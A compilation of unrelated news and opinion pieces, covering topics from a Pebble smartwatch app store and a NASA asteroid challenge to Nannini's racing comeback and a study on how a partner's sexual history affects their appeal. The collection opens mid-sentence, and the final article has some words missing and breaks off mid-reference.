beat Mr Logan and his brother Peter, when they broke into the home of the two elderly bachelor farmers in June 2000.  Paddy Logan died as a result of his injuries and Peter was also badly injured. The Doyles made off with just €50 and their brutal attack shocked the nation. Christopher got 12 years and his brother 15 years.  Locals in Castlejordan, Co Meath, where the brothers lived at the time of the attack, said that the house was sold shortly afterwards.  Irish Independent
-Pebble shipped its new all-metal "Steel" smartwatch earlier this week, and now reveals that app store updates for its iOS companion software will roll out on Monday (the Android version is about to launch in beta and will follow soon after). Until now, wearers have had to hunt through a myriad of app developers and third-party sites to download new watchfaces or apps. Once the apps (and older Pebble devices) get updated and paired wirelessly over Bluetooth, you'll only need a Pebble account and two clicks to load new software from a phone or tablet. Since the watch itself can only have up to eight apps loaded at any given time, easily managing the thousands of choices available is an important new feature. We took a long look at the store and its apps (including software from ESPN, GoPro and Foursquare) in our review of the Pebble Steel, owners should keep an eye on their mobile devices Monday for access.
-On the heels of the passage of mandatory genetically engineered (GE) food labeling bills in Connecticut and Maine, and the narrow defeat of the labeling bill in Washington State, the big food and chemical companies are going on offense. As Center for Food Safety reported last week [1], according to a draft bill outline leaked by Politico, the Grocery Manufacturers Association (GMA) is shopping a Federal voluntary labeling bill in Congress that would block states from passing meaningful mandatory labeling bills, redefine GE food as “safe” and even allow GE foods to be labeled as “natural.” [2]  Without mandatory labeling of GE foods, consumers are being left in the dark about the foods we are purchasing and feeding our families. There is overwhelming public demand—consistently near 95%—for the labeling of GE foods. Yet the U.S. is one of the only developed countries in the world that doesn’t require labeling; sixty-four countries have mandatory labeling policies for GE foods including South Korea, Japan, the United Kingdom, Brazil, China, South Africa, Australia, the entire European Union, among others. In 2013, over 50 GE labeling bills were introduced in 26 states, including Hawaii, Washington, Indiana, Missouri, and Vermont, with many more expected.  Action has already been taken at the federal level this legislative session: Representative Peter DeFazio (D-OR) and Senator Barbara Boxer (D-CA) have introduced legislation that would require nationwide, mandatory labeling of GE products.  So why would anyone introduce another GE food labeling bill? Because industry will do whatever it takes to make sure you don’t have the right to know whether the food you’re buying is genetically engineered. Voluntary labeling of GE foods has been allowed by FDA for more than a decade and not a single company has “volunteered” to label its products as containing GE food. There is no reason to think they will do so now, when there is more support for mandatory labeling of GE food than there ever has been.  The introduction of this bill would only serve to undermine state and federal legislation meant to grant consumers the right to know and avoid GE foods. Attacking state labeling laws does nothing to address the increasing call from consumers for transparent GE food labeling. Instead, it gives the biotech and food industries yet another free pass and keeps consumers in the dark.  Tell Congress to oppose the GMA bill that would block state GE food labeling, and instead to support the Boxer-DeFazio bill to label GE food.  ----------------------------------  More information:  1. CFS Press Release: Leaked Document Reveals Big Food Lobby's Plans to Preempt State GMO Labeling (January 7, 2014).  2. Draft GMA bill outline leaked by Politico (January 7, 2014).
-WASHINGTON - NASA announced Tuesday a Grand Challenge focused on finding all asteroid threats to human populations and knowing what to do about them.  The challenge, which was announced at an asteroid initiative industry and partner day at NASA Headquarters in Washington, is a large-scale effort that will use multi-disciplinary collaborations and a variety of partnerships with other government agencies, international partners, industry, academia, and citizen scientists. It complements NASA's recently announced mission to redirect an asteroid and send humans to study it.  "NASA already is working to find asteroids that might be a threat to our planet, and while we have found 95 percent of the large asteroids near the Earth's orbit, we need to find all those that might be a threat to Earth," said NASA Deputy Administrator Lori Garver. "This Grand Challenge is focused on detecting and characterizing asteroids and learning how to deal with potential threats. We will also harness public engagement, open innovation and citizen science to help solve this global problem."  Grand Challenges are ambitious goals on a national or global scale that capture the imagination and demand advances in innovation and breakthroughs in science and technology. They are an important element of President Obama's Strategy for American Innovation.  "I applaud NASA for issuing this Grand Challenge because finding asteroid threats, and having a plan for dealing with them, needs to be an all-hands-on-deck effort," said Tom Kalil, deputy director for technology and innovation at the White House Office of Science and Technology Policy. "The efforts of private-sector partners and our citizen scientists will augment the work NASA already is doing to improve near-Earth object detection capabilities."  NASA also released a request for information (RFI) that invites industry and potential partners to offer ideas on accomplishing NASA's goal to locate, redirect, and explore an asteroid, as well as find and plan for asteroid threats. The RFI is open for 30 days, and responses will be used to help develop public engagement opportunities and a September industry workshop.  To watch the archived video of Tuesday's asteroid initiative industry and partner day, visit:  http://youtube.com/nasatelevision  For more information about NASA's asteroid initiative, including presentations from Tuesday's event and a link to the new RFI, visit:  http://www.nasa.gov/asteroidinitiative  - end -
-Tolkien fans rejoice! The Lord of the Rings author's estate will soon release a 100-year-old manuscript that was never before released to the public. Titled The Story of Kullervo, the work is one of Tolkien's earliest efforts, and helped lay the foundation for the stories he'd tell about Middle-earth throughout his career.  Tolkien started Kullervo in 1914, during his college days at Oxford University. The tale, which follows the tragic story of an orphan cursed with supernatural powers, is based on the Finnish epic poem The Kalevala, and though he never finished it in his lifetime, he used this work as a basis for his own stories and languages:  "The germ of my attempt to write legends of my own to fit my private languages was the tragic tale of the hapless Kullervo in the Finnish Kalevala. It remains a major matter in the legends of the First Age (which I hope to publish as The Silmarillion)"  Though this is the first time Kullervo is being made available for public consumption, the manuscript was originally published in 2010 by author and Tolkien scholar Verlyn Flieger in Tolkien Studies: Volume 7. The Story of Kullervo, complete with notes and supplementary essays,will hit bookstores in the UK on August 27th. It'll be available in America on October 27th.
-Some people simply don’t understand the phrase, “No, you can’t do that.” Alex Zanardi, Alessandro Nannini and Robert Kubica are just some of those people. All three suffered potentially career-ending injuries, yet successfully climbed back into competition. All three had different injuries to overcome, but they did.  By Andy Hallbery  Zanardi’s situation is well documented, especially here on Motorsport Retro , returning to racing – and winning – after the sickening Indycar accident that cost him both legs, and oh-so-nearly his life.  Kubica’s accident came in a rally, the metal barrier shearing his car, and but for a sinew or two, his arm with it. At the time, the Pole, with one Grand Prix win to his name, was on the verge of the big time. He too desires a return to F1, and a test in a DTM car proved that the speed is still there, but not – yet – in the confines of a single-seater. “If all the races were at places like Barcelona, yes,” he says of his recuperation. “But Monaco? No way, not yet.”  An accident in 1990 severed Nannini’s right arm completely just below the elbow when he was thrown from his helicopter as he crashed while landing at his home in Siena. Like, Zanardi, we thought his racing career was well and truly over.  Wrong. Wrong. Wrong. Groundbreaking microsurgery allowed doctors to sew Nannini’s right arm back on, the nerves were reattached, and all this happened to Sandro without barely the blink of an eye or a second thought.  There were doubters who at the time thought the then-ground-breaking surgery would not work, among them his former Benetton teammate and very good friend Nelson Piquet. The Brazilian was one of the first to visit Sandro in hospital, and advised that his arm would be better gone. “Yes, that’s true,” admits Nannini. “Nelson had a friend who had lost a limb, a leg I think, and had it sewn back on. Since, he regretted doing that, feeling that he would be better with a prosthetic limb. I wouldn’t even let myself think about what Nelson was saying. The doctors had rescued my arm, I was going to race Formula 1 again, and that was that. I didn’t want anybody to fill me with the slightest doubt.”  Nannini’s will saw him not only in the cockpit of a Formula 1 car just over a year later, it was his beloved Ferrari, the team he was – as the story goes – already signed to for 1991 when his accident happened. In the adapted #27, the helicopter crash was a memory.  Just two years after his accident the happy Italian was back at Monza, and this time he was racing. It wasn’t a single-seater like the Grand Prix winner had been used to, but that didn’t matter. Sandro was back doing what he loved, and the car was red. He was racing in Italian Touring Cars in an Alfa 155 GTA – and winning!  Many years later we are sitting talking in one of his Nannini cafés and with the espressos, the ever-present smile and cigarette. This is trademark Nannini, the driver the fans loved.  The only give away was his right hand which was now naturally curled up in a ball that he constantly tried to straighten, and that he now smoked using his left hand instead of is right one. A short puff and he is smiling his way down memory lane.  “You can’t imagine what kind of emotion coming back was for me,” he laughs. “I remember before the start my heart was pumping like crazy. I felt like I was a kid in my first Fiat Abarth races. But all those feelings vanished when the race started. By the time we hit the brakes for the first corner, I was grinding my teeth and slamming on the door of those trying to overtake…  “It was like waking up from a dream, “ he continues, “and I restarted acting like a racing driver, as if I’d never been away.”  To those outside too, including family, Sandro was the old Sandro, save for his new technique of holding his cigarette with his curled up hand. The muscles had withered, and it was a deal smaller than it had been, but first and foremost, he was a racing driver. At races, he kept the glove on, one less thing to worry about. There was however, a slightly new mindset.  “Nobody really thought I could come back from the accident,” he recalls. And without saying it, his demeanour suggests that he felt very much alone during his recovery. “Nobody really thought I could do it,” he smiled. “Neither the doctors nor my family. When I talked about my plans, they just listened to me almost condescendingly, just to keep me ‘up’, and thinking positively. But I didn’t want to give up, because I knew I could do it.”  And he did, that season led to an offer from Alfa for a works car in the DTM and subsequently the ITC. His teammates included Nicola Larini, Michele Alboreto, Christian Danner, Giancarlo Fisichella, Gabriele Tarquini and others.  His rivals included Keke Rosberg, Klaus Ludwig, Bernd Schneider, Dario Franchitti, Alex Wurz, Yannick Dalmas and others. These were no second-rate championships, far from it. It was the cream of touring car and F1 drivers. Nannini’s 13 wins showed that his spirit and speed were undiminished, the talent of the Grand Prix winner still there. And the smoking humour came at his expense, courtesy of German TV, Vox.  Another coffee arrived as we began our photo shoot in his café. While not quite ‘embarrassed’ about his hand, it was rarely on display, usually in his pocket or behind his back. The smile though is constant, even when talking about the difficulties. “There was a moment in those years where things weren’t going so well for me and I thought ‘what am I doing here if I’m not able to compete to win? Wouldn’t it be better to leave?’  “Once you are used to fighting for victory, when you don’t obtain it you feel like you are missing something,” he says, “and even behind this so-called smiling face’ I suffer if I am only second. However I can’t say I’m unsatisfied because it’s almost a miracle that even now I am still racing, although not at that level. It’s still normal to aspire to the maximum.”  Photo: Charles Best/motorsportretro.com  Handicap or not, both Zanardi and Nannini beat world class racers on their returns, and Kubica is still aiming at the very top.  Does this sound familiar? “Frankly I cannot imagine that I won’t return to F1,” Kubica told my colleagues at Autosport. “Quite the contrary. I am convinced I will go onto the startline again.” Kubica is working hard on his strength, and his speed is not in any question. “If it was just about power, I could fix it in the gym. But it is more than that, nerves and muscles, which are much more complicated.”  He knows that while not in the near future that return is still in his sights (“unless they make F1 cockpits 20cms wider tomrrow!”), but that goal is tempered with realism. “Last year after the accident, I said that I was happy I survived,” he adds. “Then when you go to the hospital and see people who have no chance at all, you start to take life differently.  “Very often we do not appreciate what we have. When all is well and everything is in order with us, we find the opportunity to complain about the bad weather. But when you are attached to a hospital bed and you can’t even get up, you don’t care if it’s raining outside or not. In those moments you start to appreciate what you have, even if it’s not what you dream of.”  Photos: Bernard Cahier, Cahier Archive, http://www.f1-photo.com/  Charles Best. http://www.charlesbest.co.uk/tearsheets/23.html  Follow @MotorsportRetro and @Hallbean on Twitter and join in the Motorsport Retro discussion on the site’s page on Facebook
-Maine's Republican Gov. Paul LePage is known for his tough life story and his willingness to say whatever is on his mind. Click above to see him blame Maine's problems with heroin and prescription-drug abuse on "guys by the name D-Money, Smoothie, Shifty" who drive up to Vacationland from New York and Connecticut, sell their drugs, hook up with Maine girls, and then "go back home."  Full statement:  “The traffickers, these aren’t people who take drugs. These are guys by the name D-Money, Smoothie, Shifty,” LePage, a Republican, said during a discussion of the state’s heroin epidemic at a town hall event. “These type of guys that come from Connecticut and New York. They come up here, they sell their heroin, then they go back home.” “Incidentally, half the time they impregnate a young, white girl before they leave,” he added. “Which is the real sad thing, because then we have another issue that we have to deal with down the road.”  Hat Tip: Buzzfeed.  LePage doesn't mention the race of heroin dealers but does invoke stereotypically ghetto names, thus continuing one of the most despicable aspects of the drug war in America: Its racism.  In the early 20th century, for instance, "cocaine negroes"—black men who ingested huge amounts of the stuff and thus become superpowered predators and/or enticed white women with same drug into sexual frenzies—were a thing, with The New York Times and other respectable authorities of the day freaking out over a terrifying combination of race-mixing, sex, and narcotics. Opium was associated with Chinese living in America and marijuana with Mexicans in a blend of racial anxiety and fear of intoxication that terrified lawmakers and voter alike.  LePage's comments, which link the drug trade not just with blacks but hypersexualized blacks, show that even as the country is growing up in terms of treating pot more like beer, wine, and alcohol, we haven't really gotten that far.  Many accounts of a spike in heroin use (or any other "new drug of choice") are sensationalized and begging for hard evidence.  According to the Maine government's statistics, between 2010 and 2014 (the latest year for which data is readily available online), the state has seen a sharp increase in the "number of treatment admissions where heroin or morphine" was the primary substance involved. In 2010, that number was 955 and in 2014 it had risen to 2,538. Yet over the same time frame, overdose EMS responses for heroin and related drugs have declined from a peak in 2012. While the number of deaths attributed to heroin/morphine has increased dramatically over the same period, the absolute number remains in the mid-double digits, at 57.  To the extent that heroin is a growing problem in Maine, it's not fully clear what LePage hopes to achieve by laying the blame for that on the D-Moneys and Smoothies of the world. According to the director of the Maine Drug Enforcement Agency, fully 83 percent of drug traffickers arrested by his agents are Maine residents.  But perhaps only charity, not responsibility, begins at home.
-With today's announcement of the PlayStation Vita TV (for the Japanese market, at least), Sony becomes the latest in a long line of companies trying to exploit the low costs and surprisingly decent capabilities of mobile gaming technology to upend the traditional idea of a game console. Why pay hundreds for top-of-the-line technology, the argument goes, when you can remove the screen from a cheap smartphone (often the most expensive bit), insert an HDMI output, and have a perfectly capable low-end alternative to the living room set-top box?  The Vita TV has a leg up on a lot of the mostly Android-based competition in this space, thanks in no small part to its established library of top-shelf games. Still, I feel like all of these microconsoles are pretty much destined to be niche players that don't really satisfy a wide market need.  The idea of playing portable games on the TV is nothing new. Nintendo started the trend with the Super Game Boy back in 1994. They continued it later with the Game Boy Player, which let Game Boy Advance games be played on the TV through a Gamecube. The PlayStation Portable also featured components cables that allowed for direct HDTV output, a feature that was pointedly removed from the Vita.  These portable-to-TV solutions differ from today's slate of microconsoles in a few ways. For one, their asking price was even lower than the $100 price point that seems to be the sweet spot for today's efforts, even accounting for inflation. For another, they were generally positioned as niche novelties—ways to get some additional use out of your existing portable library—rather than full-fledged competition for the actual console hardware.  And make no mistake, the Vita TV and its Android-based microconsole cousins are competing more or less directly with their full-fledged console counterparts. You can argue that their extremely low cost and/or their more open development environments put them in a class by themselves. All of these systems fit generally into the category of "boxes that play games on my TV" though, and most consumers that aren't die-hard gaming aficionados aren't looking to buy more than one for their living room (one important exception: parents looking for a low-cost system for the kids to have in their room).  That means that you have to compare the Vita TV directly to competing products like Sony's own PlayStation 4. Vita TV starts off well with a price point that's about $300 cheaper, but the low cost doesn't look quite so low when you add in the cost of a controller and the proprietary memory card (which is practically a necessity on top of the tiny 1GB of internal storage). The price comparison looks even worse if you compare the Vita TV with the current generation of consoles. A brand new PlayStation 3 with 12GB of storage now costs $200. The PS3 also has a much wider lineup of games that were actually designed for a TV (more on that later), and it comes with its own controller to boot.  More importantly, it's not at all clear how much price sensitivity truly matters in the market for game consoles that are going to be attached to your TV for many years. Yes, the Wii rode its low cost-to-hardware sales dominance in the console generation that's currently wrapping up, but that was largely attributable to a unique and gimmicky control scheme and a must-have system seller in Wii Sports. Without those, the low price point alone likely wouldn't have mattered. Low prices surely didn't help the bargain-priced Nintendo GameCube and Sega Dreamcast when they went up against the much stronger PlayStation 2. Even the PlayStation 3, which was significantly more expensive than both of its competitors for years, was able to scrape into rough international sales parity with the Xbox 360, thanks in large part to some high-profile exclusive games that showed off the system's hardware power.  Splitting the market  Vita TV is not going to have many of those exclusives. On the contrary, Sony has made a big deal about how its highest-profile Vita games are "cross-buy" titles that already come packaged with a largely identical PS3 download (this also applies to the downloadable PSOne classics that make up a large chunk of the Vita TV's advertised 1,300 game library). And the games that are exclusively available on the Vita have been designed for a very different use case than that of a home console. You can go on and on about how the differences between consoles and portables are dwindling and how portable games are more like their console brethren than ever, but there's still a fundamental difference in the way people engage with a system held five inches from their face and one that's on the TV five feet away.  Games on the Vita are, in general and by necessity, designed to be played for short bursts, with frequent convenient stopping points and action that's easy to get into quickly. People look a for different experience when they hunker down on the couch, ready for an extended gaming session.  With the Vita TV, Sony awkwardly splits the market for these kinds of portable-minded games, putting developers in the difficult position of trying to cater to both audiences or (more likely) simply ignoring the newer, TV-based market and making games for the better-established portable side. And let's not forget about games that make use of the front or rear touchpads on the Vita. Sony has been pushing these features strongly as key differentiators for the portable system, but they will be entirely missing from the Vita TV. Should developers now ignore these features to expand the market for their games to the lowest common, TV-based denominator?  Then there are the issues of processing power. Yes, Vita games are closer to their console brethren than, say, Game Boy Advance games were to their competition on the PlayStation 2. But a game designed for the Vita is by necessity going to have access to less processing power and visual fidelity than one designed for the PS4 (or even the PS3). Games made for the Vita's native resolution of 960 x 544 are going to look decidedly worse when stretched out onto a 1080p HDTV screen, and they won't be able to handle as many moving parts under the hood as similar games on the PS3 or PS4.  That's fine if you're into playing great, simple games like Divekick or Lumines or Spelunky, games that are perfect for the subway or a long plane trip. But these are not the kinds of games that sell systems made for the living room. In general, people in the market for a game console want something that is going to make the most use of the expensive flat-screen TV and surround sound entertainment center they've invested in. In that environment, consumers are less likely to skimp on the actual gaming hardware and more likely to go for something that they can really show off, even if it costs a bit more.  Sony and the makers of other microconsoles might argue they are not aiming for those high-end customers. They are instead aiming to fill the market gap for people who want to play games casually and occasionally, without investing too much money. Unfortunately, that market segment is well-covered by smartphones and tablets that these customers probably already have, and it's covered even further by low-cost, dedicated portable systems for consumers that simply must have button-based controls. I don't think these casual players are too upset about playing on a touchscreen rather than a TV. They just want a simple diversion that they can pick up and play, hopefully without interrupting the episode of America's Next Top Model that's on in the background.  This isn't to say the Vita TV (or other microconsoles based on low-cost portable technology) will be a total bomb. The ability to add second-TV streaming to a PlayStation 4 is likely to be a killer app for many, and its use as a low-cost video streaming box is bound to get it some attention (though really, if you don't have a device that can stream Netflix to your TV at this point... what have you been waiting for?). As a market force in the gaming world, though, the Vita TV system seems like a solution to a problem that doesn't really exist. It's a console that's outclassed by Sony's own existing hardware.
-Whether the nation faces a doctor shortage is a matter of debate. But a new study suggests there are already fewer doctors practicing than had been estimated, because of a lag in reporting retirements.  The new study, published in the Oct. 21 issue of The Journal of the American Medical Association, estimates that the United States has 788,000 active doctors — 65,000 fewer than calculations have suggested. The doctor work force is also younger than previously estimated, with a greater proportion of doctors in their 20s and 30s and fewer who are 65 and older.  By 2020, there will be 957,000 physicians, the new estimates show, rather than the 1.05 million previously projected. Only 9 percent will be 65 or older, or half as many as had been predicted.  The new analysis used census data to make projections.  “From 2005 to 2020, we project a 20 to 22 percent growth in the number of physicians,” said the paper’s lead author, Douglas O. Staiger, a Dartmouth economist. “But because you start with a lower number, you end up with a lower number in the future — with 9 percent fewer physicians by 2020.”  Dr. Staiger said that did not necessarily mean there would be an acute shortage of doctors but that “we need to get the baseline correct in order to make future forecasts.”
-Award Winning Actress, Mayim Bialik  The minute someone mentions modesty with respect to sexual harassment (or worse), they may as well have said that it’s OK to rape women. At least that’s the knee jerk response I keep hearing in certain circles.  That is not only a false statement; it vilifies those who consider modesty in dress a positive value. It is as if they are telling women, to dress as provocatively as they want because it doesn't matter.  Before anyone jumps all over me, I know that sexual abuse does not occur only to immodestly dressed women. But to say it doesn’t matter, I think might just be an exaggeration. A provocatively dressed woman might just generate improper thoughts which in some cases might be acted upon by men with mental issues. That modestly dressed women are also attacked doesn’t mean that dressing modestly never helps.  Let me be clear. I do not blame the victim. This is not at all what I am saying. I don’t care if a woman is wearing a bikini on 13th Avenue in Boro Park, anyone that touches her or in any way harasses her is guilty of sexual aggression. The aggressor is fully to blame and ought to be prosecuted to the fullest extent of the law. But those who claim that it doesn’t matter at all – that images like that don’t conjure up licentious thoughts in men are oblivious to human nature.  Just because most men will not act on those thoughts doesn’t mean no one will. If not on this women, then maybe the next. But don’t tell that to the critics. For them it is an all or nothing proposition. Women should therefore be free to dress as provocatively as they wish and ignore the temptations most men think about when they see them. If you don’t agree with that proposition, then then you are considered an ignorant misogynist - bullied into changing your mind.  Which brings me to Mayim Bialik. Ms. Bialik is an award winning actress that has earned 4 Emmy nominations for her role as Amy Fowler in the television comedy series, Big Bang Theory. She is also an observant Jew. It always intrigues me when celebrities like that become observant – especially in an environment like Hollywood that is hostile to religion. I have come to admire her for that – even though I do not agree with her egalitarian views as applied to Judaism.  Mayim’s comments extol the virtues of modesty in dress. A view that guides her own choices - considering the modest way she dresses as a layer of protection. But she was bullied into retracting comments along those lines she made in a NewYork Times op-ed. Although I understand why she did that - I don’t think she should have. There are so few people in Hollywood that have the courage to stand up for the values of modesty, it is a shame when they feel they have to retract.  New YorkTimes op-ed she said the following: Where does she get those values? I believe it is at least in part because she is has become an observant Jew who studies Torah with her ‘Partner in Torah’. She has learned and understands the beauty of dressing modestly and the high value the Torah places upon it. She knows the immodest world in which she lives – which in Hollywood operates on steroids! She spoke up about it in light of the Harvey Weinstein scandal. In aop-ed she said the following:  ( W)e can’t be naïve about the culture we live in. I believe that we can change our culture, but it won’t be something that happens overnight. We live in a society that has treated women as disposable playmates for far longer than Mr. Weinstein has been meeting ingénues in luxury hotel rooms.  That caused a vicious reaction from some of Hollywood’s elite rejecting her views and accusing her of shaming the victim. – which suggests blaming the victim.  Forward: Clearly that is not at all what she said or meant. She said as much in her op-ed. But in its zeal to maintain a woman’s right to dress as immodestly as she wishes, the PC crowd with Hollywood values - buried her. Mayim has expressed hurt and believes she was completely misunderstood. From the  “I am deeply deeply hurt if any woman in particular who has been assaulted—or man—thinks that i was in any way victim-blaming…”  “How you dress and how you behave have nothing to do with whether you’re assaulted,” she said. She added that her decision to dress modestly is a personal choice that gives her and other women a feeling of comfort and a layer of protection.”  Bialik said she still believes that there was still space in the modern feminist movement for socially conservative women, although she also said, “I think this article has proven maybe not.”  Maybe not... What a sad conclusion. As I said, I don’t blame her for retracting. Her heart is in the right place. She believed that the wrong message was taken from her original comments. And that may have caused unnecessary pain to women that have experienced sexual abuse or harassment. But a fair reading of her op-ed minus the unfair criticism - would make it obvious that hurting victims was the furthest thing from her mind.
-Dear Prof. Frankel,  In the absence of European QE, you suggest that the ECB prints Euros to buy US Dollars. With respect, I wish to anticipate some moral hazards associated with this suggestion.  Since the era of QE, US Dollars are to a large degree simply US Government 30-year bonds mixed with US housing mortgages. The Federal Reserve has underwritten the US commercial banking system by hiding housing risk under cover of the lower risk of US Government default. The US Dollar has now become something akin to a Collateralized Debt Obligation (CDO). Major risks associated with this new instrument include the Tea Party.  Monetarists are no longer basing their decisions on the real economy, but on some hypothetical scenario which is predicated upon bond-yields in the American economy of year 2044. I worry that Mario Draghi, who inhabits the present bankrupt European economy, will start investing in Janet Yelland’s fantastical American economy of 30 years hence.  The Yelland vision is founded on the Bernanke incorporation of a 2008-style debt-instrument into the Federal Reserve QE Financing model. USD 4 trillion of this potentially toxic debt is now on the Fed’s balance sheet and on the balance sheets of various financial institutions world-wide.  Current ECB Chairman Draghi must also factor in the possibility that Future Federal Reserve Chairman, Robot Darth Vader, might not react as we expect.
-Bill Goldberg Training for REAL Kickboxing Fight ... Seriously  Bill Goldberg -- Training for REAL Kickboxing Fight ... Seriously  EXCLUSIVE  No more "fake" fighting for Bill Goldberg -- the pro wrestling legend tells TMZ Sports he's gearing up for a REAL kickboxing fight ... and he's training with one of the biggest badasses in the biz.  The 48-year-old says he's flying out to Amsterdam to train with Rico Verhoeven -- the world heavyweight champ in the Glory kickboxing league -- and he's serious about fighting.  Goldberg says he's not delusional -- he doesn't think he's going to be the next great kickboxing champ ... but he really wants the opportunity to show off his combat skills in the ring.  So far, no word on when Goldberg hopes to schedule his first fight.  BONUS -- our camera guy Adam is a HUUUGE fan of Goldberg -- who's also promoting a "Legends of Wrestling event at CITI Field -- and asked the guy for some advice on how to shoot the perfect wrestling trash-talk promo. Check it out.
-FIFA U17 World Cup: Controversy in Kolkata about ticket distribution, police complaint lodged  A group of locals, known as the Golden Card numbers, registered a police complaint on Saturday.  When the West Bengal government started constructing the Salt Lake Stadium in 1982, they floated an offer for the local sportslovers. A non-profit organization, named Society for Sports and Stadium (SSS), offered a chance to become a 'golden card-member' of the new infrastructure, by donating 10,000 Rs. (close to 1,25,000 Rs now adjusting for inflation) to the cause. The golden card-members are entitled to get free tickets for every match held at the venue.  Everything went fine for the next 35 years, but the U-17 FIFA World Cup has become the first aberration of the rule, not offering tickets to the initial patrons of the venue. This has not gone well with some of those fans, who gathered at the local police station on Saturday to launch a police complaint. While they wanted to document their protest, they didn't want it to be a spoilsport to the grand event, one of the protesters informed. "We have, hence not lodged an FIR, but a general diary," he added.  With the SSS organization now defunct, the long-time workers of the stadium complex used to send the tickets out of goodwill, but the LOC has not followed the process, a well-placed source informed.  There is disappointment also among the former footballers of the city, who have contributed for years to the lively footballing scene of the city. While Indian Football Association (IFA) asked for almost 200 tickets, they were granted only 85. Fifteen Arjuna, Padmashree and Dronacharya award winners have been handed season tickets, while a lottery would decide which footballer gets a pass for which match. The lottery was done at the IFA office by former footballers Manoranjan Bhattacharya, Dipendu Biswas, Jamshid Nassiri and Kartik Seth.  Article continues below  The demand of tickets was high in Kolkata from the moment the sale started, and the organizers are hoping that spectators will come out in numbers on Sunday.
-Source: Photographee.eu/Shutterstock  Many people (women in particular) intentionally limit their number of sexual partners because they worry it could hurt their chances of finding long-term monogamous love once they are ready to settle down. They worry that a high “number” will be a challenge for their future spouses, even if they have put their promiscuous days behind them and seek a commitment to complete monogamy.  From past research, we know that most people of both sexes prefer their partners to be on the non-promiscuous end of the spectrum. But is that because they that promiscuous individuals are simply not interested in long-term and/or not really capable of monogamy—and therefore more likely to cheat? Or is it because of the social stigma attached to dating or marrying a promiscuous person, past or present? Finally, do these views differ between men and women?  A new study addresses these questions by looking at what happens to someone’s desirability as a long-term partner if they used to be promiscuous but are now committed to monogamy.  For this study, which just appeared in & Culture, psychologist Daniel Jones of the University of Texas at El Paso recruited 180 adults (53% women; 58% white; 70% in some type of serious relationship/ ; and a mean age of 32) from “Mechanical Turk,” a diverse online pool of research participants facilitated by Amazon who complete surveys for a couple of dollars.  Jones's presented participants with descriptions of three potential romantic targets, ostensibly taken from real online personals ads, telling them to assume that the target was of the and age they would be interested in dating. The profiles contained randomized information about the target (e.g., hobbies, interests, , style, ), but differed systematically in their past and current sexual history.  The nonpromiscuous target had had sex with two people, and described himself/herself as follows:  “I am looking for someone I can have a serious relationship with. I have never been interested in just having sex with someone. I need feelings and commitment behind it."  The reformed promiscuous target had had sex with approximately 40 people, but was no longer into that. Their description read:  “I used to have a lot of casual relationships and sex in the past, but that is behind me now. I haven’t had sex with anyone for over a year and only do committed serious relationships now. I am looking for someone who wants the same thing.”  The still promiscuous target had had sex with approximately 50 people and described himself/herself in this way:  “I enjoy all kinds of relationships. I am really open. I am willing to have some casual relationships, and I am open to a more long-term relationship. I enjoy meeting and dating all kinds of people and having all kinds of relationships.”  After reviewing the bios, participants answered this simple question: ‘‘If you were single and you could choose one person, who would be most desirable for a long-term committed relationship?"  Source: Zhana Vrangalova, based on Jones, Sexuality & Culture, 2016  As you can see from the graph above, very few people of both sexes (6%) chose the "still promiscuous" target as their ideal long-term partner. This is not surprising, given that most people are looking for monogamous relationships. Moreover, most men (80%) and women (62%) chose the "never promiscuous" target as their ideal, suggesting that most people of both sexes prefer not only someone monogamous, but also someone with a limited sexual history and little interest in casual sex, past or present.  But a nontrivial minority of people—14% of men and 32% of women—chose the "reformed promiscuous" target. Choosing this target over the "still promiscuous" one suggests that these participants—like the majority—value monogamy in their long-term relationships. But choosing this target over the "never promiscuous" one suggests that for this group—unlike the majority—there is also something about an extensive sexual past that is of value, perhaps sexual , sexual skill, or an adventurous spirit.  Whatever the presumed benefits of a partner's extensive sexual past may be, women obviously valued them more than men—twice as much, in fact. This suggests that the reason men and women generally prefer less experienced partners may be different. Given the realities of the “ market,” a highly sexually promiscuous man is perhaps seen likely to be not only sexually skilled and adventurous, but also highly attractive, socially admired, and possibly also wealthy. For women, such a man might be deemed a catch, and the primary reason she wouldn’t want him for a long-term partner might be the concern that he wouldn't want to settle down into monogamy or would be incapable of staying faithful. Having the reassurance that he is indeed committed to monogamy—by learning that he’d been celibate for a year while waiting to meet "the one"—allowed fully 1 in 3 female participants to view his past as an asset.  For men, the math is a bit different. While promiscuous women may possess many of the same potentially desirable qualities as promiscuous men might, they do not necessarily need to, the societal assumption being that they can land as many as 50 partners even without conventionally traditionally attractive, charming, socially respected, or wealthy. There is a further (and inaccurate) that, unlike for men, promiscuity is “unnatural” for women, and so promiscuous woman must have some mental- issue driving her promiscuity—such as low , , , or a history of sexual abuse.  Further, female promiscuity (past or present) is more socially stigmatized than male promiscuity, potentially threatening a man’s own reputation should he marry such a partner. Finally, the risk of the formerly promiscuous woman going back to her old ways may be more evolutionarily costly for the man than a similar breach of trust would be for a woman, if it leads him to invest his time and resources in someone else’s genetic offspring.  All in all, the potential negatives of marrying a promiscuous woman—even if she’s no longer promiscuous—would appear to far outweigh the potential positives for participants.  Stereotypes, reputational concerns, and reproductive realities explain why a high “number” is riskier for women than for men who want a long-term relationship—which is the vast majority of people, including most highly promiscuous individuals. The sexual double standard is still with us. And yet, there are at least two pieces of good news for men and women with high numbers.  First, if you eventually do want monogamy, there are about 15% of men and 30% of women who would not only tolerate, but actually prefer a partner who’s had a lot of sexual experience, as long as they can be assured that you won’t be unfaithful to them. And these are only ideal choices in a hypothetical scenario: In real life, other qualities a person has might compensate for an apparently less-than-ideal high number. In other words, there’s a pretty good chance that some (many?) of those 60-80% who would ideally prefer a less promiscuous partner would nonetheless happily date or marry a more promiscuous one if other things work out (as portrayed in movies like Trainwreck).  Second, if you want long-term love but you also like your casual sex, you can have your cake and eat it too. You may not be most people’s cup of tea, but there is a nontrivial percentage of people for whom you are exactly what they are looking for. There are people who want to date and marry you not despite your promiscuity, but because of it. (Six percent may not sound like a lot of people, but it actually is. Consider: About six percent of Americans identify as gay, lesbian, or bisexual.) So if casual sex is something you love and don't want to give up, make sure you look for love among this six percent. As one of my favorite sex educators, Reid Mihalko, says: "Date your own species."  [This study comes with all the usual caveats as most studies in sex research—a relatively small and nonrepresentative sample, potential biases due to self-reporting, a hypothetical scenario that may play out very differently in real life, etc. So take the findings with the usual grain of salt.]  Have a casual or group sex story to share with the world? That's what the Casual Sex Project is for.  Want more sex education and sex research news? Follow me on Twitter, Instagram, or Facebook as @DrZhana, or watch my daily sex educational live video streaming broadcasts on Periscope. You can also check out my website: drzhana.com.  Reference  Jones, D. N. (2016). The ‘Chasing Amy’ bias in past sexual experiences: Men can change, 